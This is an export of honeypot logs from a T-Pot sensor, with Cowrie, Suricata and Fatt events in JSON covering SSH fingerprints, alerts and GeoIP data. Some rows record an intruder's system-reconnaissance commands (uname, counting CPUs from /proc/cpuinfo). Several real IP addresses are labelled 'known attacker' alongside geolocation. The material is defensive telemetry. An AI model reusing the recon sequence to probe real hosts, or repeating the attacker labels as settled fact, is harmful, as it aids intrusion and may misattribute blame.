35126	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:23.610542+03	2021-09-20 15:15:02.84069+03	{"_id": "OQYZA3wBvYTbRNuEpFpG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "96.78.175.36", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.36807942390441895, "duplicate": true, "timestamp": "2021-09-20T12:06:23.610542Z", "@timestamp": "2021-09-20T12:06:23.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35128	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:24.306071+03	2021-09-20 15:15:02.84369+03	{"_id": "PQYZA3wBvYTbRNuEpFpG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "96.78.175.36", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.36487889289855957, "duplicate": true, "timestamp": "2021-09-20T12:06:24.306071Z", "@timestamp": "2021-09-20T12:06:24.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35129	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:24.601256+03	2021-09-20 15:15:02.844691+03	{"_id": "SQYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:24.601256Z", "@timestamp": "2021-09-20T12:06:24.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35130	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:25.259749+03	2021-09-20 15:15:02.845691+03	{"_id": "SAYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:25.259749Z", "@timestamp": "2021-09-20T12:06:25.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35131	81.71.17.12	109.199.241.180	Suricata	2021-09-20 15:06:25.22525+03	2021-09-20 15:15:02.84769+03	{"_id": "TQYZA3wBvYTbRNuEqVpO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:06:24.654640+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 619046408092976, "payload": "AAADzAYU9hVWmx6qE05E9rmLWEorngAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48742, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:06:25.225250Z", "@timestamp": "2021-09-20T12:06:25.225Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........V....ND...XJ+....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35132	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:24.941195+03	2021-09-20 15:15:02.848691+03	{"_id": "TgYZA3wBvYTbRNuEqlpK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "81.71.17.12", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48742, "timestamp": "2021-09-20T12:06:24.941195", "@timestamp": "2021-09-20T12:06:24.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35133	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:25.94943+03	2021-09-20 15:15:02.849689+03	{"_id": "UQYZA3wBvYTbRNuErFoX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:25.949430Z", "@timestamp": "2021-09-20T12:06:25.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35134	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:25.949964+03	2021-09-20 15:15:02.851689+03	{"_id": "UgYZA3wBvYTbRNuErFoX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:25.949964Z", "@timestamp": "2021-09-20T12:06:25.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35135	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:27.015815+03	2021-09-20 15:15:02.852689+03	{"_id": "YgYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "96.78.175.36", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3638620376586914, "duplicate": true, "timestamp": "2021-09-20T12:06:27.015815Z", "@timestamp": "2021-09-20T12:06:27.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35136	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:27.318707+03	2021-09-20 15:15:02.854689+03	{"_id": "YAYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:27.318707Z", "@timestamp": "2021-09-20T12:06:27.318Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35137	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:06:27.561171+03	2021-09-20 15:15:02.856691+03	{"_id": "ZwYZA3wBvYTbRNuEsVog", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 1505796093606129, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38220, "dest_port": 22, "timestamp": "2021-09-20T12:06:27.561171Z", "@timestamp": "2021-09-20T12:06:27.561Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	BR
35138	119.29.153.168	109.199.241.180	Fatt	2021-09-20 15:06:27.601151+03	2021-09-20 15:15:02.85769+03	{"_id": "awYZA3wBvYTbRNuEslob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48238, "dest_port": 22, "timestamp": "2021-09-20T12:06:27.601151", "@timestamp": "2021-09-20T12:06:27.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
45288	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:43:44.966251+03	2021-09-20 16:45:02.752591+03	{"_id": "gAZyA3wBvYTbRNuEwqzX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:44.966251Z", "@timestamp": "2021-09-20T13:43:44.966Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
35139	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:27.329942+03	2021-09-20 15:15:02.858691+03	{"_id": "bwYZA3wBvYTbRNuEslp5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38220, "timestamp": "2021-09-20T12:06:27.329942", "@timestamp": "2021-09-20T12:06:27.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35140	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:06:27.601769+03	2021-09-20 15:15:02.86069+03	{"_id": "cgYZA3wBvYTbRNuEs1rp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3c29e2903913", "@version": "1", "timestamp": "2021-09-20T12:06:27.601769Z", "@timestamp": "2021-09-20T12:06:27.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
